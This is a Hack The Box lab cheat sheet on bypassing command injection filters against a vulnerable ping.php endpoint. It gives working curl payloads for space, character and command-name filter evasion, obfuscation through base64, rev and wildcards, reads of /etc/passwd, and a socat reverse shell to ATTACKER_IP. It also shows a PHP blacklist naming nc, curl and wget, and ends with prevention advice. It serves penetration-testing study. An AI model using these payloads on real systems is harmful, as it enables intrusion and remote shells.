Command Injection — Filter Bypass Cheat Sheet
Summary
Command injection happens when attacker-controlled input reaches an operating-system shell call such as shell_exec(), system(), exec(), passthru(), or a back-tick execution, without proper validation. The reliable workflow is to confirm the sink executes a shell command, append an injection operator, then peel back each filter layer one character at a time. This sheet maps the whole Hack The Box Command Injections module: detection, operators, space filters, blacklisted characters, blacklisted commands, advanced obfuscation, evasion tooling, and the socat reverse-shell escape used against the INLANEFREIGHT ping.php endpoint. Read the source of the vulnerable script wherever possible, because guessing blind against a blacklist wastes far more time than reading the filter.
[!danger]+ Authorisation Boundary
- Use these payloads only against Hack The Box, intentionally vulnerable labs, or systems you own and are explicitly authorised to test.
- Command injection yields real operating-system code execution. Treat every payload as production-dangerous.
- Reverse shells and pivots cross network boundaries. Stay inside the documented scope, and tear down listeners and relays when the exercise ends.
Conceptual Information
The mental model
An injectable endpoint concatenates your input into a shell string. If the backend runs something like bash -c 'ping -c 1 <your_input>', then anything that terminates the ping argument and starts a new command runs on the host. Filters try to stop this by blacklisting operators, spaces, characters, and command names. Every filter has a bypass, because shells offer many equivalent ways to express the same instruction.
[!info]+ Vulnerable PHP sinks to look for
system(),exec(),shell_exec(),passthru(),popen(),proc_open(), and back-ticks in PHP.os.system(),subprocess.*withshell=True, andevalin Python.Runtime.exec()andProcessBuilderin Java,child_process.exec()in Node.js.- Any parameter whose value ends up as a hostname, filename, IP, or option that the server then shells out with.
Injection operators
These operators chain a second command onto the intended one. The new-line character is the star of the show, because it is rarely blacklisted (payloads legitimately need it) yet works as a separator on both Linux and Windows.
| Operator | URL-encoded | Executes | Notes |
|---|---|---|---|
; | %3b | Both commands sequentially | Not valid in Windows CMD, works in PowerShell |
\n (new-line) | %0a | Both commands | Best first choice, rarely blacklisted |
& | %26 | Both, output may interleave | Background operator |
&& | %26%26 | Second only if first succeeds | AND |
| | %7c | Second only, first output discarded | Pipe |
|| | %7c%7c | Second only if first fails | OR |
` ` | %60 | Command substitution (Linux) | Legacy back-ticks |
$( ) | %24%28%29 | Command substitution (Linux) | Modern substitution |
[!tip]+ Why new-line wins
- A blacklist that blocks
;,&, and\|still usually lets%0athrough, because the developer needs new-lines elsewhere in the request body.- The new-line both terminates the first command and begins yours, so
127.0.0.1%0aidconceptually becomes two lines:ping -c 1 127.0.0.1thenid.
Detection & Filter Identification
Step 1 — Confirm the sink shells out
Send the intended value and a chained operator, then compare responses. A successful ping plus extra output, a timing difference, or an error that leaks a shell message all indicate a shell call.
# Baseline: normal behaviour
curl "http://target/ping.php?ip=127.0.0.1"
# Probe: append an operator + command
curl "http://target/ping.php?ip=127.0.0.1;id"
curl "http://target/ping.php?ip=127.0.0.1%0aid"
[!info]+ What each response tells you
- Invalid input on
;but success on%0a: an operator blacklist exists, new-line is allowed.- Ping runs but no
idoutput: the operator was accepted but a later filter (space, word) stripped or rejected the injected command.- Blank or 500 error: input may have broken the shell string. Adjust quoting.
Step 2 — Read the filter if you can
The single biggest time-saver is dumping the script source once you have any execution, so you stop guessing. In the INLANEFREIGHT lab the filter blacklist is visible directly in ping.php.
<?php
function filter($str)
{
$operators = ['&', '|', ';', '\\', '/', ' '];
foreach ($operators as $operator) {
if (strpos($str, $operator)) { return true; }
}
$words = ['whoami', 'echo', 'rm', 'mv', 'cp', 'id', 'curl', 'wget', 'cd',
'sudo', 'mkdir', 'man', 'history', 'ln', 'grep', 'pwd', 'file',
'find', 'kill', 'ps', 'uname', 'hostname', 'date', 'uptime',
'lsof', 'ifconfig', 'ipconfig', 'ip', 'tail', 'netstat', 'tar',
'apt', 'ssh', 'scp', 'less', 'more', 'awk', 'head', 'sed',
'nc', 'netcat'];
foreach ($words as $word) {
if (strpos($str, $word) !== false) { return true; }
}
return false;
}
if (isset($_GET['ip'])) {
$ip = $_GET['ip'];
if (filter($ip)) { $output = "Invalid input"; }
else { $cmd = "bash -c 'ping -c 1 " . $ip . "'"; $output = shell_exec($cmd); }
}
?>
[!warning]+ Two subtle filter bugs to exploit
- Operator check uses
strpos()truthiness:if (strpos($str, $operator))treats position0as false. A blacklisted operator sitting at the very start of the string slips through, though that rarely helps here since our injection follows the IP.- The command is wrapped in single quotes:
bash -c 'ping -c 1 <input>'. That wrapper is exactly why splitting command names with single quotes works, see below.ipis blacklisted as a word, soifconfigandip aare blocked, but we bypass this by splitting characters.
Bypassing Space Filters
The space is the most commonly blacklisted character, because a valid IP never needs one. There are many space-free substitutes.
| Technique | Payload fragment | Works on | Notes |
|---|---|---|---|
| Tab | %09 | Linux + Windows | Shells treat tabs as argument separators |
${IFS} | ${IFS} | Linux (bash/sh) | Default IFS is space + tab + new-line |
$IFS$9 | $IFS$9 | Linux | $9 is an empty positional arg, ends the var name cleanly |
| Brace expansion | {ls,-la} | Linux (bash) | Braces auto-insert spaces between elements |
| Input redirection | < and <> | Linux | cat<file reads without a space |
Windows %IFS% | not valid | Windows | Use , in some CMD contexts instead |
# All of these run "ping -c 1 127.0.0.1" then the injected command, space-free
# Tab as separator
curl "http://target/ping.php?ip=127.0.0.1%0a%09id"
# IFS environment variable
curl "http://target/ping.php?ip=127.0.0.1%0a${IFS}id" # URL: %0a%24%7bIFS%7did
# IFS with positional-arg terminator
curl "http://target/ping.php?ip=127.0.0.1%0acat$IFS$9/etc/passwd"
# Brace expansion (no spaces inside braces)
curl "http://target/ping.php?ip=127.0.0.1%0a{cat,/etc/passwd}"
[!info]+ How
${IFS}bypasses the space
IFSis the Internal Field Separator, and its default value contains a space and a tab.- When bash expands
cat${IFS}/etc/passwd, the variable resolves to a space, so the executed command iscat /etc/passwdwith no literal space ever in the request.${IFS}renders in the source string as no space, so a' 'blacklist never triggers.
[!tip]+ Brace expansion in one line
{ls,-la}expands tols -la,{cat,file}expands tocat file.- Great when both spaces and specific commands are filtered, because you can also split names, e.g.
{c'a't,file}.- See PayloadsAllTheThings — Bypass without space.
Bypassing Other Blacklisted Characters
When slashes, semicolons, or other characters are filtered, pull them out of shell environment variables using substring expansion, so the literal character never appears in your input.
| Character needed | Extraction trick | Expands to |
|---|---|---|
/ (slash) | ${PATH:0:1} | First char of PATH, which is / |
; (semicolon) | ${LS_COLORS:10:1} | A ; from the colours string |
\ (backslash) | ${HOME:0:1} on some hosts | Depends on the variable |
| Any literal | $(printf '\<octal>') | Printf-decoded byte |
# Read /etc/passwd without ever typing a slash
curl "http://target/ping.php?ip=127.0.0.1%0acat${IFS}${PATH:0:1}etc${PATH:0:1}passwd"
# Semicolon pulled from LS_COLORS (index varies per host, enumerate it)
curl "http://target/ping.php?ip=127.0.0.1%0a\$(echo${IFS}\${LS_COLORS:10:1})"
[!info]+ Substring expansion syntax
${VARIABLE:offset:length}returns a slice of the variable’s value.${PATH:0:1}is the classic slash generator, becausePATHalmost always begins with/usr/....- Enumerate a host’s variables first (
printenvif available, or${VAR}echoes) so you know which indices give which characters.
[!tip]+ Character shifting with tr and printf
$(tr '!-}' '"-~'<<<'gvzk')shifts each character up by one ASCII value, decoding an obfuscated word at runtime.printfwith octal escapes reconstructs any byte, e.g.$(printf '\57')yields/.
Bypassing Blacklisted Commands
Word blacklists match the exact string, so break the command name apart with characters the shell ignores at execution time. The key insight against ping.php: the command runs inside bash -c '...', so single quotes inside the argument are removed by bash before execution.
| Technique | Example | Runs as | Why it works |
|---|---|---|---|
| Single-quote split | 'w'h'o'am'i' | whoami | Bash strips the empty quote pairs |
| Double-quote split | w"h"o"a"m"i" | whoami | Same, quotes are removed at parse time |
| Backslash split | w\ho\am\i | whoami | Backslash before a normal char is dropped |
$@ insertion | who$@ami | whoami | $@ expands to nothing |
Positional ${x} | who${x}ami | whoami | Unset var expands to empty |
| Case + tr | $(tr A-Z a-z<<<WhOaMi) | whoami | Lowercase at runtime |
# The canonical INLANEFREIGHT bypass: 'i'd defeats the "id" word filter
curl "http://target/ping.php?ip=127.0.0.1%0a'i'd"
# ifconfig, split so the blacklisted "if"/"ip" fragments never appear whole
curl "http://target/ping.php?ip=127.0.0.1%0a'i'fconfig"
# which socat, combining char-split + IFS for the space
curl "http://target/ping.php?ip=127.0.0.1%0a'w'h'i'ch${IFS}socat"
# cat the source with char-split + IFS
curl "http://target/ping.php?ip=127.0.0.1%0a'c'at${IFS}ping.php"
[!success]+ Confirmed execution on the lab
uid=1004(webdev) gid=1004(webdev) groups=1004(webdev),4(adm)
- The
idoutput proves code execution as the webdev user.ifconfigreveals a second interfaceens192: 172.16.8.120/23, placing the host inside the172.16.8.0/23internal scope, a pivot opportunity into the Active Directory domain.
[!info]+ Why quote-splitting beats the word filter
strpos($str, 'id')looks for the literal two-byte stringid.'i'dcontainsi,',',d, never the contiguousid, so the check returns false.- Bash, executing
bash -c 'ping -c 1 127.0.0.1\n'i'd', removes the quote pairs and runsid.- The same logic defeats every entry in the word list, split any two adjacent characters and the substring match fails.
Advanced Command Obfuscation
For heavier WAFs or case-insensitive filters, obfuscate so the payload does not resemble any known command even after simple normalisation.
| Method | Payload | Decodes to |
|---|---|---|
| Case toggling (Windows/PS) | WhOaMi | whoami (case-insensitive on Win) |
| Case fix via tr | $(a="WHOAMI";tr${IFS}'A-Z'${IFS}'a-z'<<<"$a") | whoami |
| Reversed command | $(rev<<<'imaohw') | whoami |
| Base64 decode + exec | bash<<<$(base64${IFS}-d<<<'d2hvYW1p') | whoami |
| Wildcards | /???/??t /???/p??s?? | /bin/cat /etc/passwd (glob match) |
# Reverse the string at runtime
curl "http://target/ping.php?ip=127.0.0.1%0a$(rev<<<'imaohw')"
# Base64-encode the whole command, decode and pipe to bash
echo -n 'id' | base64 # -> aWQ=
curl "http://target/ping.php?ip=127.0.0.1%0abash<<<$(base64${IFS}-d<<<aWQ=)"
# Wildcard path so no full binary name is written
curl "http://target/ping.php?ip=127.0.0.1%0a/???/c?t${IFS}/etc/passwd"
[!tip]+ Layer the techniques
- Combine operator + space bypass + name split + encoding when a filter chains several checks, e.g.
%0abash<<<$(base64${IFS}-d<<<...).- Wildcards (
?single char,*any run) let you invoke binaries whose names are blacklisted, since the shell resolves the glob after the filter has already passed the request.
Evasion Tools
Hand-crafting obfuscation is slow. These generators produce filter-evading payloads automatically.
[!info]+ Bashfuscator Overview
Configurable Bash command obfuscation framework for Linux targets.
./bashfuscator -c 'cat /etc/passwd'emits an obfuscated one-liner.-s 1 -t 1 --no-manglingtunes obfuscation layers and size for readability or evasion.- Output can be very long, so test it fits the parameter length the endpoint accepts.
[!info]+ DOSfuscation Overview
Invoke-DOSfuscation obfuscates Windows CMD and PowerShell payloads.
- Handles case toggling, char insertion, and environment-variable substring tricks for Windows.
- Use
Invoke-DOSfuscationthenSET COMMAND/ENCODINGinside its interactive menu.
[!tip]+ Manual toolkit to keep handy
- PayloadsAllTheThings — Command Injection is the reference payload library.
- Burp Suite Intruder loaded with a variation wordlist (see the companion Python generator) sprays candidates and highlights which return a non-
Invalid inputresponse.
From RCE to Reverse Shell — the socat escape
Single commands run, but anything with a space breaks unless bypassed, and most shell binaries (nc, bash, ssh) are blacklisted. On the INLANEFREIGHT host socat survives the filter and is present at /usr/bin/socat.
# Confirm socat exists (which is blacklisted as a word, so split it)
curl "http://target/ping.php?ip=127.0.0.1%0a'w'h'i'ch${IFS}socat"
# -> /usr/bin/socat
# Attacker: start the socat listener with a full TTY handler
socat -d -d TCP4-LISTEN:4444,fork,reuseaddr FILE:`tty`,raw,echo=0
# Target (via injection): connect back with an interactive bash
# Spaces replaced by ${IFS}, socat name intact (not word-filtered whole)
curl "http://target/ping.php?ip=127.0.0.1%0asocat${IFS}TCP4:ATTACKER_IP:4444${IFS}EXEC:bash,pty,stderr,setsid,sigint,sane"
[!warning]+ Filter-safe reverse shell notes
- Every space in the socat command must be
${IFS}or%09, or the space blacklist rejects the request.- If
socatis caught by a later word filter, split it:so'c'ators${x}ocat.EXEC:bash,pty,stderr,setsid,sigint,sanegives a fully interactive PTY, far better than a dumbncshell for pivoting into the172.16.8.0/23network.
[!tip]+ Grab the source first
- Before brute-forcing a shell,
catthe vulnerable script ('c'at${IFS}ping.php) so you know the exact blacklist and can craft a one-shot payload instead of dozens of failed guesses.
Prevention
[!important]+ How to actually fix this
- Never pass user input to a shell. Use language-native APIs, e.g. a raw socket ping or a library, instead of
shell_exec("ping ...").- If a shell call is unavoidable, use parameterised execution that separates the command from its arguments (
execve-style, nobash -c), so input can never become a new command.- Allowlist, do not blacklist. Validate against a strict pattern, e.g. an IP regex
^\d{1,3}(\.\d{1,3}){3}$, and reject everything else. Blacklists always lose to obfuscation.- Run the web service as a low-privilege user in a locked-down container, and drop outbound network egress so a reverse shell cannot phone home.
Quick Reference — Bypass Chains
| Filter hit | Fastest bypass | Example |
|---|---|---|
Operator (; | &) blocked | new-line | 127.0.0.1%0aid |
| Space blocked | ${IFS} / tab / {a,b} | cat${IFS}/etc/passwd |
| Slash blocked | ${PATH:0:1} | cat${IFS}${PATH:0:1}etc${PATH:0:1}passwd |
| Command name blocked | quote/char split | 'w'h'o'am'i' |
| Case-insensitive WAF | reverse / base64 | bash<<<$(base64${IFS}-d<<<aWQ=) |
| Binary name blocked | wildcards | /???/c?t${IFS}/etc/passwd |
| Need a shell | socat + ${IFS} | socat${IFS}TCP4:IP:4444${IFS}EXEC:bash,pty,... |
Lessons Learned
- The new-line operator
%0abeats operator blacklists almost every time, because developers cannot fully ban it. Always try it first. - Reading the filter source turns a guessing game into an engineering task. Any early RCE should be spent
cat-ing the vulnerable script before anything else. - Filters compose, so bypasses compose. A single request often needs an operator bypass, a space bypass, and a command-name bypass stacked together.
${IFS}for spaces and single-quote splitting for names are the two highest-value tricks for the CPTS-style labs, learn them cold.- Blacklists are structurally doomed. When you write the fix, allowlist a strict input pattern and avoid the shell entirely.